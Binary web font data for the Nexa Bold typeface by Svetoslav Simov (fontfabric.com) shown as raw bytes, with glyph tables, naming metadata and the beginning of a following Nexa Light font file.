+�@	+�
+�@	+�+�
�9��
9015354>32&#"!!#�?l�N�\PJDS)���Db�^1R�5[YD����#X'2��+�0�+�$/��$
+�@	+�/�+��3/�ְ2�
�(2��+�-2�!�2�4+��$+0$9�!�999��!9�0$�99��99901332654.#"54>327#".3264&#"��no�MqB��莒Ud�qk.W;u\��ߒ��qo��np��`yteB_*��{9��y�3fi[;�l�o�K������R%�G�+�	3�+�+���/�ֱ�2��
+�	�+�
�9��90133632#4&#"R�u���|im���Θ�������t��;b�!�/�ֱ��+��99014>7632.3#;!4 3!!4>?4
���P?!!?P?!!�Y����`�#M�+� 	+�/�
��$/�ֱ�+�
�%+�� $9�
�9� �99013265#"#"'4>762"'.�hw���*:2=�!4 4!!4 4��D��3ZUUP?!!?P?!!L��2�+�	3�+�+�
/�ֱ�2�+��990133!	!L�T+�d��u�����4���7RJ�!�+�+�/�ֱ
�
�+0133R���hR"k�+�33�+�+�3��2�#/�ֱ"�"�+���+��$+�"�9��9��	9��9��	990133>32>32#4&#"#4&#"R�%�Qc�(@�k��^`by�mbav�{GDZbeS���!l��h��j��i��L3L�+�	3�+�3���/�ֱ
���
+�	�+��9�
�9��90133632#4&#"L�����tq�����x��v��#��=F�+��+���/�ֱ��+��+��999��99014> #".732654&#"#}�:�|��{�;�W���y�����O�V�{x��R�Z�f�+��+�+��/�/�ֱ��
��+�
�+��9��99��9��
9��9013>32#".'2654& R�7�]��v�;w|"��������Z��PR���D4���y��y{��!�Zhp�+��+�+��/�/�ֱ��+�
�
�
�/�
��/�+��99��9��9��9��9014>3273##".72654& !��]�7�"|w;��v�����������RP��h4D��y��y{��Rm>�+�+�+�
��/�ֱ�+��9�
�
9��	990133>32.#"R�5�\L�*q(Q;l��uU:6*�"}������0f�.+��+���1/�ֱ!
�!�
+�+
�2+�!�9�
�$.$9�+�99�.�9��+$9��901?2327654&'.54>32&#"#"&{4�XD46]l>nqR3P��J|�U�_�Y`�.L\HG.�ό⑳:R "741/CjBSG";J�Z5/b	2@[8��J�����S�+��/�3��2�/�ְ2�	
�2�	
+�@		+�	
+�@	+�+��9��901537!!327"#"'&5����G<9@Fdk

�\b����KFI�(X^��X��?�R�+�3��+�
3�/�ֱ��	+�
��
�
/�+�	�9�
�9��901332653#'#"X��tq���P�g�����x��v��OH	����h�!�+�+�3�	/�
+��901!!!�����R���V�R�=������+�3�+�333�/�ֱ��+��+�6�=��+
�.�������Œ�!+
�.������
��
.....�
.......�@��9901!3!!!=���������iZZh�������+R�����&�+�3�+�3�/�+��990135	5!!	!`��+��+��`������	��V	��R�����ZL�	�+�3�/�
/�+��901!!!#�ah������K����h�d�	.�+��+���
/�+��9��90135!5!!�A)�/�h��w�{�/�/{#1��'+�(+�/�+�/�+�2/�+ְ2�$�22�$+
+�@$(	+�2�+$
+�@+	+�3+�$+�99�'�$+999��9��999��
90152>546&7&54./%6��cS4#/Eq��6L� 1*Ȳ(�Il��%%;"(
*8"��l;�(��*1 ��T��/�ֱ
�
�+013����P���/H#,��+�,+�#/�"+�/�+�-/�ֲ222�)�2�)
+�@)#	+�)
+�@,	+�2�.+�)�
99�#�)999�"�
9��999��90165476767.45454&563"'qEZ/Sc��
=..=
��;lj!R"	*8"lI�(���#47�74#��Ȳ(�����/���/�+��

99901>3267'.#"jvE5hH]%5H�Gf~N'wi*]2]y.&17=J>GoO
K7u{�%��!�/�ֱ��+��99014>.!!{$:FF:$$:FF:$��),F$$F,-F$$F�)!J�F�{^�/�	+�/�	+�/�ֱ
��+�2��2�+��99��99��	999��99014753.#"3267#5&J޻�s�(�:w��w6�+�{���ߺ ,��p�(2���?,�t��)Z�� ��+��2�+��
+�3��2�+�!/�	ֱ
�	
+�@		+�2�	� ��
�
+�@	+��+�
�2�"+�	�9��9��9��99��9��	99013>'#53&54$32#.#"!!!Zb^��%��
�	yr�x!���?M#�o�=���c`�iC��T�$��� S�+��/�+�!/�ֱ�"+��
$9��$9��$9��99017&7'767'&'3264&#"vdm�w^�[{�v//t�yd�awdy`cuuc`Ht��y�y(({�wc�^t�w(&yS�������z�+�+�3�
+�3�+�
2�
+�3�+�	2�/�ְ2�
�
2�
+�@		+�2�
+�@	+�2�+��9��9015!	!3!!!!5!5!5!53Bm|F�)��;����=����
��P
�T�i����i���F��"�+�/�ְ2��2��	+01!!����
t�P��h�>FL�=+��+�#��G/�ֱ?�H+�?�999�=�9�#� 4AE$9��901?72676&.7>7.7>32.# 32# $76$P�F�sk��ra��Y`SYSLo��ES��2�5�c��-MR*@q~bO&cGWZOr��>��t�����L73/*2"G�U<v�FKuE-H:�2"^*
/BhA>v�>JtE-�K;=GPCBd���
�/�ֱ��+��+014>.%4>.d 2=>2 ;TU;� 2>=2 ;TU;='=  ='6II6'=  ='6II�����5��
+�+�+�+�#(

+�#+�3.

+�3+�6/�ֱ�� +�++�+�+�	�7+�+@

#%13$9�(#�%9�.@	 &0$9�3�19016$  $&32>4.#"327'#"&546327&#"�h�Z�cc�����q���zȂFF��z�����H[^��`ZG����<2�ww�����ww�C���V���ɖV��g�ρ}Hq`gtDy���� ��+�+�+�/�+�/�+�!/�ִ+��+��2�
+�@	+��
+�
/�3�"+��9�
�9��	999��90146273#'"&5!32>4.#"˜Cs��}?����`H5M##M5HP��:1[�j`6<��5��ž]3LZL3��P!	!!	!
����L
������;�:��;�:5H0�/��
+�@	+�/�ֱ�
+�@	+�+015!#)�9�'H);5!H�)������#6>��
+�+�+� +�5+�8+�?/�ֱ��<+�0+�0�+�	�@+�<�
 $(67$9�0�+99��)*99�8�	$+7$90146$ #".732>4.#"35335'>.#!532#�c�Z�dd��䭋�}>�x�zȂFF��z��x��E�պ,E)2B]6��ǟ)00)ϙ�ww�����wM���z���V���ɖV������+�
-<IKJA1���6A6�5�
S�+�
+�+�
+�
+�+�/�ִ+�+�+��99��9901462#"&62>.#"�ޣ�po��
>\>>,.>�z��z{��zC//CB//)'o�_�/��/�3��	2�
+�@	+�
+�@	+�/�ְ2�
�2�

+�@
	+�2�
+�@	+�2�+0175!5!3!!#)F��%�'��'��h�/����/?+�+"��/� +�/�
+�
+�@	+�#/�ְ2� +�2� 
+�@ "	+� �	+�+�$+�6���8+
���������+�+��+� � �#9�9�9�.......�.......�@�	 �99� �90154>54#"#>32!?/K[[K//B�YI��$;LNL;$�+�=V,) V'$Lm0x|7R- 
&�)�+-��)/�+�)
+�@	+�
/�
+�/�
+�
+�@	+�./�ְ2�+�2��+�2�#+�+�/+��
)$9�� 9�
�#9�� 901332654&+532674&#"#4>2#".)�i5N<EtlA=9D9E�^���_3/5@)AXX.8i\7H(&(4�15+Mj,0mL0XY25V6%5^��u��'�+�	��/�ִ
+�+��9015!�'�u���LT�E�+�
�2�

+�@
	+�2�/�ֱ
��+�/��+�

�+014>3!#!!!.,\��l����u�v>}R��h=���P��e��#ZA(�/�	+�	+�/�ֱ��	+01462"#auaau]�RR�RD�c1 �/�ִ+�+��
99017676.'73.Dlk`9V*<B�!C_)
a��~��\'"'%9/�h.DR&E_!Hm+�	B�/�+�2�/�
+�
/�ִ+�
+�@		+��
�/�+0153#5!3mf^X+�������,%1�&/�ִ+��+�+�'+��$90154>2".7>=4.9_x}x_99_x}x_9�#7CB7##7BC7#mnQ�P,,P�QnQ�P,,P�L-F$$F-q,E$$E-����P'	!	3	!	��
��^�������;�:��;�:J����	
��+�+�3�
+�
+�3�
+�2�
+�@	+�
+�
+�2�/�ִ+�
+�@		+��
�/��+�2�+�2�+��
9��
$9��9��9��90153#5!3	3	33##5!73Jf^e�5���Z�EE��v�����������Z�3����J���	
0&�+�.+�+�3�
+�!
+�
+�!
+�@	+�
+�
+�2�1/�ִ+�
+�@		+��
�/��+�2�.+�2�.�+�$+�2+�6�5�[+
����+��)���+�+�+�*+)+� � �#9�9�*+)9�)*+.......�)*+.......�@�.�

999��!999�$�/099�.�$90153#5!3	3%54>54#"#>32!Jf^e�5��#/K[[K//C�Y�I��$;KOK;$����������3�=V,) V($Ln0x|7R- 
&�N��7�.2=@��;+�+�03�
+�
+�@	+�
+�
+�!+�=>;
+�63�=
+�82�>=
+�@>4	+�);
+�
+�)
+�@	+�A/�ְ2�+�2��+�2�$+�+�$�;+�?2�:+�52�B+��
)/$9�$�!299�;�034>$9�:�19�>=�39�)�@9�
�$901332654&+532674&#"#4>32#".	3	33##5!73N�e3L:Cqi@:7B7B
�\~GI�[3-4<:_i9+QN:$5���Z�EE��w���F'%&2�/4*Jg*.jI.T
W/@`4#4N�P�Z�3����#�{j!+;A�/���</�ֱ��,+�4�"4,+��=+��(9�"�990173>7%#".54>7>75%4>.#X��qo��Y���i4YR061R+/E%��$*[O[?+�$:FE:##:FF:#-p�e25h�m\o)P8#5&"
ALQ

IZ,$>Fo,F#$F-,F#$F���P
,�+�3�+�
+���/�+��901#!!!5!#!/�'���y�{�'�ݒ����f��F
����c���P
#!!!!	5!/%{�y'�}��w
���'�����pc��#
�����-,�+�3�+�
+���/�+��901#!!!53#'!/�'���y�{�/�/�vu�����f����yy�c���%,�+�3�+�
+���/�+��901#!!!667'.!/�'���y�{X�C16/�,�NF2945����f��q�)
%PtZ&$,��c���$&:�'/�ֱ��+�!�(+��999��9�!�99901#!!!!'4>.	4>./%{�y'�}�� 2>=2 ;UT;�
� 2>=2 ;TU;����'=  ='6II��c���'=  ='6II���ZH�+�
3�/��/�
+� /�ִ+�!+��99��	$901#&54632!!!32>.#"/y�nl�B7���y�{���{@7.>
=,8�B�t��tHj�o��
cOA+=>+����h�+�3�		�+��
+��
+���/�
ְ2�	�2�	
+�@		+�@		+�2�+�	
�9��901#!!!!!!!!+�u��@��\���>�N+���������!��<;��T�8F�+��4+�+�
�
+�9/�ֱ�:+��9�
�9�
�	901&>32.#"3267.'7676.'7.;:{����m�E�a}�s;8q�`�E���C_)
Jcundlk`9V*<@��J�r�‘Uol�CDW�����TME��
\.CR&9W,
C1\'"'%9/����`�ZQ�+�		�+�	�
+���/�ֱ	
�2�	
+�@		+�2�@		+�+�	�
99013!!!!!5!#`1����$��'������������P
��
`�N3!!!5!!!%5!`1����$����'�
D�I�
��`�RQ�+�		�+�	�
+���/�ֱ	
�2�	
+�@		+�2�@		+�+�	�
99013!!!!!53#'`1����$��/�/�wu����������+��yy`�D'+�(/�ֱ��+�"�)+��$9013!!!5!!!4>.%4>.`1����$�Ϣ 2=>2 ;UT;� 2>=2 ;TU;
D�I'=  ='6II6'=  ='6II��s?	)�+�+�
/�ֱ	
�+�	�999015!#!\'��
5
������ff3?	3!!75!f
���'���
���}d7*�	+�
+�
/�	ֱ
�+�	�$90153#'!�/�/�vu

��
yy����f�{P,
2� /�ֱ��+��!+��99��99014>.!!4>.� 2=>2 ;TU;�
��� 2=>2 ;UT;�'=  ='6II���'=  ='6II��q�g�+��+��
+�3��2�/�ְ2��2�
+�@	+�
+�@	+��+�	� +��	990153!2#!!254&#!!!���b8w�����������X�]m���xڽ�OX��	����y��!-
Y�+�3�+�3�+�/�ֱ

�
�+�
�+�
�9��999��999��	990133!#667'.y����X�B15-�*�MC082���{�d�9}�(
$NqW%
#+%���`)/K�+��+�%��0/�ֱ��+��1+��$%*-$9�%�99014>  .2>76."5!#%9x�� �x88v�����w�!Ii�ĠiH!Ik�ĢlJ�'��P���UU����Կ�SR��DJ��^89_��JK��e<=e��M
��
%���V)/K�+�%�+���0/�ֱ��+��1+��*-$9�%�9901 >. &>2".5!%7w��&��v88x���x�Jl�ġkI!Hi�ĠiI!`�'�6�ֽ�RS������UU����K��e=<e��KJ��_98^���
��%���\)2K�+��+�%��3/�ֱ��+��4+��$%*.$9�%�99014>  .2>76."53#'%9x�� �x88v�����w�!Ii�ĠiH!Ik�ĢlJ}/�/�vuP���UU����Կ�SR��DJ��^89_��JK��e<=e��,
��
yy%���7)<K�+��+�%��=/�ֱ��+��>+��$%*3$9�%�99014>  .2>76."667'.%9x�� �x88v�����w�!Ii�ĠiH!Ik�ĢlJ�X�B15-�*�MC082P���UU����Կ�SR��DJ��^89_��JK��e<=e��~�(
$NqW%
#+%���@)7Em�+�%�+���F/�ֱ��*+�2�2�8+�@�@�+��G+�2*�%$9�8�$99�@�99�%�9901 >. &>2".4>.%4>.%7w��&��v88x���x�Jl�ġkI!Hi�ĠiI!X 2=>2 ;UT;� 2=>2 ;UT;6�ֽ�RS������UU����K��e=<e��KJ��_98^��@'=  ='6II6'=  ='6IIV'��+�3�/�
+017'77'V�Ŧ�ǜ�Ӝ����Š�˜�ѕ��%�m�!'3��+�*�*�( ���+�"�"�  ����4/�ֱ��0+��5+��99�0�	 "(3$9��
99�(�9� �3999��9014>327!#"'!&%&#"32>76&'%9x�����\���8v�����d���y}
:9�OEb�lJ1PXb�iH!BC�s��U/���j�ĬrԿ�S3�g.�_�CB=e����9_��Jh�Hd��N`;�+��+�
3�/�ֱ
��	+��+�	�99901!3265!#".5!#d
ǫ��\�∃�fX'��b6�ʾ�ҹ6�ʜ��RP���
��
d��N^3�+���/�ֱ
��
+�
�+�
�9990132>5!#"&5!%5!df�䃈�\������'�b���PR���6�ʹ�;6�

��d��N^M�+��+�
3�/�ֱ
��	+�� +��99�	�$9��9901!3265!#".53#'d
ǫ��\�∃�f	/�/�wub6�ʾ�ҹ6�ʜ��RP��r
��
yyd��N:#1L�+���2/�ֱ
�+���
+�
�,

+�$�$/�,�3+�$�990132>5!#"&5!4>.%4>.df�䃈�\���� 2>=2 ;UT;� 2>=2 ;TU;b���PR���6�ʹ�;6'=  ='6II6'=  ='6II�N
!5!	!%5!';��������0�'�����P=
��P�
��d�B�+�+�
+��
+���/�ֱ
�22�+��	
99013!!2#!!2>.#!d�f�zW((Wz�f�k�Gp9:oG�k��6\{���{\6��4SdeS4����6}�+�3�+����+�/�&%
+�&��7/�ֱ3�3� +��+ ���8+�+3�%/$9� �9�%� 99�&�9�/�90134>32&/>54.+532>76.#"V��Y`��QteV�F"3\��\o�g1b�Q`Z7`ME`8b|a�a43`�bX�Sii4]�mJ�
B\9Nv8�@1;PZP�R�bM��b� &r�+�+��"+�+�+���'/�ֱ��+�
�
��/�3�(+��!$99��99��999�"�%9014>273#'.32>4.#"5!#��f�*	��
(�_����GsG&&GsG��'�����uYK���S]w�:��5VnrnV5w
��
��b� &g�+��#+�+���'/�ֱ��+�	�(+��!$99�	�99��	999��9��
99�#�!9017>73#.#&632#"5!��_�(
��	*�f����GsG&&GsG� �'����w]S��KYu���5VnrnV5�

����b�)��+�+��+�+�+�(��*/�ֱ��$+�
�
��/�3�++��99�$�$9��99�
�99��999��9014>273#'.53#'32>4.#"��f�*	��
(�_���/�/�wtު�GsG&&GsG����uYK���S]w�@
��
yy����5VnrnV5��b�%3��+�+�)�+�3�+�+�2��4/�ֱ'�'�.+�
�
��/�3�5+�'�9�.�!%$9��99�
�9��999��999014>273#'.667'.32>4.#"��f�*	��
(�_��X�B15-�*�MC082���GsG&&GsG����uYK���S]w���)
$NqW%
#+���5VnrnV5��b� .<|�+�-�+�$��=/�ֱ"�"+��"�)+�	�	�7 ��/�//�7�>+�/�$-99�7�$9�-�	999�$�9��
99017>73#.#&4>.632#"4>.��_�(
��	*�f��� 2=>2 ;UT;3��GsG&&GsG�! 2=>2 ;UT;���w]S��KYu��'=  ='6II�f�5VnrnV5v'=  ='6II��bT (2��+�+��+�+��(/�,
+�1/�$
+�3/�ֱ��"+�*+�*�/+�&+�&�+�
�
��/�3�4+�/*�#$'(,1$9��99��9�,(�&!99014>273#'.32>4.#"462"326.#"��f�*	��
(�_����GsG&&GsG�t�қ��=58=?56���uYK���S]w�:��5VnrnV5��~~�}K??K?��b(6=��!+�+�%3��,2�+�+�3�5�;2�7
+�7��>/�ֱ*�*�+�!022�	+� 2�?+�*�",5$9�	�9�!�"*$9�7�01999�5�)9��
99014>2736!3267#"'#'.32>4.#"!.#"��f�*�y�S��[����I�)�L�z�h
�(�_����JxJ((JxJ�� �nh����uYK��9j��r`w4*�PT���S]w�9��5VnrnV5�`dd���1J�+��/+�+���2/�ֱ�3+��$9��9��	999��9014>32&#"327.'7676.'7&U��pn�R�Yr��{�T�S�lC_)
Jcvndmk_9V*;@����΂CEP�P����T�RKN,BP%7S+
@0Z&!&%5-�(%��;� F�+�
�+�+��
+���!/�"+�
�
9��9��90143 !3267# 5!#!.#"%%�����I�)�L�z�����'���!�nh��'����`w4*�PT%�
��
��`dd%��;� ?�+�
�+�+���!/�"+�
�9��
$9��901!267'#"&'!!">325!%)z�L�)�I�������hn��Z�'����TP�*4w`0@��z`dd`'
��%��;�#F�+�
�+�+�!�
+���$/�%+�
�
9�!�9��90143 !3267# 53#'!.#"%%�����I�)�L�z���ײ/�/�wu�!�nh��'����`w4*�PT%�
��
yy��`dd%��;�!(4z�+�
�-+�3�3	�2�+�%��5/�ֱ��)+�0�6+��
"99�)�
%$9�0�(99�
�9�%�
"$9�-3�9901!267'#"&'!!"4>.>324>2"&%)z�L�)�I������ 2=>2 ;UT;F�hn��*@J@*YlY���TP�*4w`0@��8'=  ='6II��`dd`�-CC-CKK��Z�	0�+�
/�ֱ	�2�	
+�@	+�+�	�99015!#!V�=���
���1R��	"�
/�ִ+�+��999013!!75!R��V�ϗ
#����'�4�	+�+�
/�	ֱ�+�	�$9�	�
990153#'!d
w
�gf)j
+��
���1��3�2�/�ֱ��+�� +��
99��99014>"&!!4>.f 2==2 YlY���� 2=>2 ;UT;'=  ='CKK�&�N'=  ='6IIB��T� ,r�+�$�+�+�+�+�-/�ֱ!�!�&+��.+�!�9�&�
$9�$�*$9��9��999014>76.''7&'77#".%2654.#"B4b�bV�0�&@y66r-�xX{L���~�~C���9{T}��U��`"*B{
HP@ �6hXX������U��dt��tI~T�L3�%p�+�	3�+�3�+�3���&/�ֱ
���
+�	�'+��9��9�
�!%$9�	�9��9��9990133632#4&#"667'.L�����tq�aX�B05-�*�MC082����x��v���)
$NqW%
#+#��=�!^�+��+�+���"/�ֱ��+��#+��99��$9��99��9014> #".5!#32654&#"#}�:�|��{�'���;�W���y�����7
���uO�V�{x��#��=�!^�+��+�+���"/�ֱ��+��#+��!$9�� 99��99��90132>54. 4632#".5!#{��|����}���y���W�;��'���폏�z��x{�V��
��#��=�$g�+��+�+�"��%/�ֱ��+��&+��99��$9��99�"�99��9014> #".53#'32654&#"#}�:�|��{�/�/�wu�;�W���y�������yy�O�V�{x��#��=�!.j�+�&�+�3�+�,��//�ֱ"�"�)+��0+�"�9�)�!$9��9�,&�99��999014> #".667'.32654&#"#}�:�|��{�X�B15-�*�MC082^;�W���y�������(
$NqW%
#+�RO�V�{x��#��=�)5��+�&�.+�3�4	�2�+� ��6/�ֱ�+���#+��1#+�*�*/�1�7+��9�*� &999�1�9� &�99�.4�990132>54. 4>.4632#".4>2"&#{��|����}� 2=>2 ;UT;P��y���W�;V*@J@*YlY��폏��'=  ='6II��z��x{�V��-CC-CKK'���� /�ְ2��2�!+01!5!4>.4>.'��m; 2>=2 ;UT; 2>=2 ;UT;!�'=  ='6II/'=  ='6II#�{=j'l�+�"�+���(/�ֱ��%+��)+��99�%� $9��	99�"�99��'$9��	99014>3273#"'#7.7&#"32654'#}�[YL�SY|�Q_P�SW�3���%��4�����H�w����G�{lJ���a�{^PX��?�l�+�3��+�+�
3�/�ֱ��	+�
��
�
/�+��99�	�$9�
�9��9��901332653#'#"5!#X��tq���P�g���'�����x��v��OH	���X��?�h�+��+�/�ֱ��+�
���/�+��$9��9��99��999��	$90132673##"&5#%5!X�g�P��qt��w�'���HO��v��x���X��?�u�+�3��+�+�
3�/�ֱ��	+�
��
�
/�+��99�	�$9�
�9��99��9��901332653#'#"53#'X��tq���P�g��/�/�wu���x��v��OH	���yyX��?� ,��+��%+�+	�2�+�-/�ֱ� ����!+�(�(� ��
�/�
���/�.+�!�99��$+99��999�+�	999�%�990132673##"&5#4>"&%4>2"&X�g�P��qt��o 2==2 YlY�*@J@*YlY��HO��v��x7'=  ='CKKC-CC-CKK���ZL�	�+�/�+01!!75!��i��ha�d�&���J��E������R�Z��]�
+��+�+��/�/�ֱ�2�
��+�
�+��
99�
�9��
9��9013>32#"&'326&#"R�0�]����\�7�w{��{w�Z@��KUu��OS��쩛����ZL�	%8�&/�
ֱ��+� �'+�
�	999��99� �901!!4>.%4>.��i��ha�q 2=>2 ;TU;� 2>=2 ;TU;��J��E���''=  ='6II6'=  ='6II\����'��+�� ��	�+�	�+�#��!�
+���(/�ֱ
�� +�2��2� 
+�@
	+�2�@	+�)+� �999�� 9��9��9��9016$325!!!!!!#"$&327&#"\]��ys��R��o��Xwu��尳;q�r�Y`�r�p:4B�o ������!t��d��Y)�-P��'��; -4Y�+�3��%2�
+�2�+�+�.

+�.��5/�ֱ!�6+��9�+�99�2�9014>32>3 !3267#"&'#".732654&#"!.#"'}�~�:/Ђ����I�)�L�z��<���{�;�W���y��
!�nh����k`\s���av4*�PTjeˏ�O�V�{x��`dd�:
&:�'/�ֱ��+�!�(+��	999��9�!�99901!5!	!4>.%4>.';��������! 2=>2 ;UT;� 2=>2 ;UT;����P=
��P'=  ='6II6'=  ='6II-��#�+�	+�2�	/�
+��90153#'-/�/�wu�
��
yy9%�)#�/�3�	��/�+��	$901667'.9X�B05-�*�MC082y�)
$NqW%
#+H);5!H�)��H);5!H�)��H);5!H�)��+����/����/�+015!+��������/����/�+015!�������"�+�		+�/�ִ+�+013��b��3���`�"�+�		+�/�ִ+�+01!b���33�7V�
/�	/�/�ֱ��
+�	+�+�	
�90174>#7.3<UV<G�&,4q6GJ5F��9����+�3�		+�2�/�	+01333��cX��c��3�3������+�3�		+�2�/�	+01!3!b��b���3�33�7��
N�/�	3�/�ֱ�
+�	+��+��+�+�+�	
�9��90174>#7.%4>#7.3<UV<G�&,4�<UV<G�',5q6GJ5F��9.6GJ5F��9H�X�	.�/�	+�	+�
/�ִ+�+�+014632#"H�sp��pt$萑�L��
%X�+�#33�	+�22�+�	+�&/�ֱ��+���+�!�'+��$90164>.$4>2"&$4>2"&L!4>?4!!4>?4�,AMA,,AMA�,AMA,,AMAYP?!!?P?!!8^DD^DD^DD^D�?P�+�/�ִ+�+01!	!
������;�:-�TP&�+�/�ְ2�+�+��9017	!	-��
�����;�:��b�*g�%+� �+��%
+�3�+�2�%
+�3�+�2�+/�ֱ
�,+��*99� �"9��90153547#536!2&#"!!!!327#".'np�B`zdV<L��<�-��)��8٣UXKt����n��0)�� ��k�)"�n��#I��nF����	+�33�	+�22�	+�	+�+�+�2�/�ִ+�
+�@	+�
+�@	+��+�+��+�+�+��9��
$9��9��99015!##373#57#'I���͡����)�����N��NX������ۮ���1!���
����N�+�3�+�3��2�/�ְ2��
2�
+�@	+��+��+��	9015354>.!#!#��� �\l׈����5��N L�Bh_5�������u�+�
3�+�+�
+�3��2�/�ְ2��2�
+�@	+�
+�@	+��+�

�+��9��9��9015354>32#&#"3##�?l�NiTqp�DRBU���Db�^1B���%kZD����_<��}��}����u``�a����u���`{x��7J1:�s�\�;������X�H�L����=�
=L;n?JK;�)n)f;�\X'j)-P�5�X���v\G;�R�`�d�+�ff�+=d�d�f�yG%hdA!ffI��d�
�-��~d����������R��#�%9��j�R�;�L�R+R�L�#R�!xR�1���X���K=A|����/r����$����{`JZS�p��Pdf�Q���Hf�n�)�? )���#DEm����JzJ�N�#������������������K��G;�`�`�`�`��f�}�{���yG%G%G%G%G%�VG%�d�d�d�d�hd
���������%�%�%�%��R���B�L�#�#�#�#�#$'�#�X�X�X�X|���R|��E\�'�f--9�`�`u�::�yh�H�H�H\+�����3�93�H�Ly��-����������6dL���,`���"|�f�.�B�	h	�	�

6
^
���X�

F
|
�0N���4t�6���<b��(V�������>��L�V��
t�
n���*R��L��l���6��� : x!!�!�!�!�"�"�#(#�$H$l$�$�%%H%�%�&B''�(l(�(�))b)�* *|*�+B+f+�,,8,P,�,�-8-�..v.�/j00,0�11T1�2 2F2�3 3�44�5*5�6f77�7�8<8�949d9�9�::�;;n;�<D<�=X=�>>r>�?>?�?�@V@�A@A�B BHB|B|B|B|B|B|B|B|B|B|B|B|B�B�B�B�B�B�CCHClC�C�DD~D~D�D�D�E<E�E�FFp�T��	v	v	�	>�	"�	�		X 	x		�	
F�	,�	,&	�R	�0hCopyright (c) 2010 by Svetoslav Simov. All rights reserved.Nexa BoldRegularSvetoslavSimov: Nexa Bold: 2012Nexa Bold RegularVersion 1.000NexaBoldNexa Bold is a trademark of Svetoslav Simov.Svetoslav SimovSvetoslav SimovModern and elegant sans serif font.http://fontfabric.com/http://fontfabric.com/Webfont 1.0Fri Oct 11 10:51:56 2013�gf�	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a�����������������������������bc�d�e�������f����g�����h���jikmln�oqprsutvw�xzy{}|��~����������	

�������������glyph1uni000Duni00A0uni00ADuni00B2uni00B3uni00B9uni2000uni2001uni2002uni2003uni2004uni2005uni2006uni2007uni2008uni2009uni200Auni2010uni2011
figuredashuni202Funi205FEurouniE000uniFB01uniFB02�����K�PX��Y�F+X!�YK�RX!��Y�+\X� E�+D� E��+�+D� E�n+�+D� E�=+�+D� E�-+�+D� E�+�+D�	 E�m+�+D�
 E�+D� E�
)+�Fv+D� E�"+�Fv+D�
 E�2+�Fv+D� E�
)+�Fv+D� E�'+�Fv+D� E�3+�Fv+D� E�&+�Fv+D� E�%+�Fv+D� E�#+�Fv+D� E�+�Fv+DY�+RX�PK!R�N>�u�u2bluetheme/assets/fonts/Nexa/nexa_light-webfont.eotnu&1i��u"u�LP��J@k�H,Nexa LightRegularVersion 1.000$Nexa Light RegularBSGP�V�V�cB���xZg�icyR��&c��4o4F��w���[ƛ��H�MmVb��j��j�������%(�6�x��n��%�Rqf�ɲ�������)ݚ(�AVtw��sK\���w>�*�H�2��Ws�t�&HK�%��i!Cɛ�dOf��3&�TИ��.u�q�^��d��<��5�Na|��}���)�
�����kۜ�����.�E�X�=a��.Usg�j̱�(v	���'Aq=�Q�J�^N�Ӡ�Ʒ�c��\Y}:�%������ƈ4%��EU8!K���7��(0n���'U��U�5X��D�րLNoU<1�1@d	ď���F�A�H�5��f@	j|�b �!w|b�\�)�����̡�G� �I��p�T���1�
�X�@�2C�NXI
*%�~J�,��n���Fot��:B�4�m��&��ՠd�|�Ȳ��F��m�^3�Щ!��1|���a`�
QJ%�"�uH�r>Q���<~�6o��9�v�l$�KR���":MK��n(��qH��D��*��9ӡ
BبS_P��
�b�Gɛ���ik�EkR^ds,�(�� ,��YMMB�2�2X��T�k�vZ��߸3]��"��W2{��B���ٛ8EFV�)�F�Ϝ��[Z�a���=n�vt�A �P+YD�pm��1TpP�2ԟ��]ʣ_��2�b������J�^9L=2����T���I���ັ�������X�+_ʎ#8�L��dظ�$�	��X�d�^�=�8��w�d�v�>~���d�@���#�ﳿ��/9f�\��cb�1�X
�)��W�T=�E�ٍ@��^�oQ3�KqbJ҉
�)|e�
AD�],Y�x�;���X����QB�`I��7( ��X�H�Rp�F�Ѓ,T�b���a2�'
�u��+{�
#�9��<*�I�7q�(%gɜ�̩�}j�}-�rI��`��B4�0�ȇ]��^����
>����\yq��8�0�z0�ăpo�B`����7�2<�.����4�uO�Կ@d���g�G���8Y��/�+5"��e��]|NȰ��^FQN,� �l�	<亄����ʛ!Ӆ}�d3�-��R�!�# �䯜vhm,���b����\�V�	�K3��n)P�V���ƚ�U��2\�bY�М�Hfz�4|e��R�O��x���^���>i��ɢ�$10~� y����lb,��;dZ=A���0N��vǚ� ʨ�Vf+�e���ٕ�ZU��%�z69����A��@g���(!^���͐�]FXlr,:xN\���T�S�Ƿ)��[v�1��I!8
j��{���
��%�U�L�6�����T��tj�N�ە���a,��b@�(�
��~����=�k��]�Rĭ���^KL�J	�Z���eU�Lt�����e��Q��$Yk��=E�4Y�c�WŬ�q{ֽ{�Ś!�	@�#MS4�%[${+T��/濞ܲά�c$�����a|�Y!�ڰK¬�`���RMgj�u�����%��L��~��]ܟN��s�<�f�<�$�������8��%  �ӣ���y��X%H.!�*�9d4ΘQ����3����J��O�Ϛ��u{w�s{�?����^)��-�԰�������VT�Y��������ßӅ?��	��+`�>`D�c�"��'.��/�o��u�z2��M��.��+2�\�y��{L0;;��[0Q�Cm�2따�TC�ل^�
�+4�KƼ��b鐣��_�?S:��y1j'ߦ���<�$YL#�Mkf|�Ȼ�|&+o���
i��y�P~$Vr��p�@;�@�U�@���dֈ�|P*f�����ݻ��4j��@���4p��o%����Dt���ԍ6؃�h#D@^;j&,s�è2�����:��L�+\�F���m@q�L���bح�٭��+9�a�����~�<e���Ԥ��'0�)8�9n
<�p]��)�o����x*���T��l�'��)��e��DB��Q�_4M);��0a��XX��D�
��"�B<��yk&ph���1f�ac9Ӟ9�=[�Н�A
/^=d(��@��4��#2��A,!$��%l��5h�D@l;11�`��������E�1�bMfb#Z�'"ƕ�q��M�G������EE��C_h�D��[w"Ch�N.yL`�BZ�]e����AQވG ��ɍ�nH	z�qd,��F��$�)�ᡧ+fD-**}T(��'ǢE��dC;MDZU��D`���=4V@I[�ƈ�p�� �2�~tY�8���"$�LaHu�Ey@;�=ׇZ�O$���ϕ5�5�x8�8s��Ú���}�[ib�PD\
�=����J���BO�z%��MX��
A�g:��C"��n=7-Ds}Y#Z���<z�*����,�B�JiB�B	͓s��#IdX~c:�,�<m@�@�_��%F�BA��V`͡��M�4�
o{"
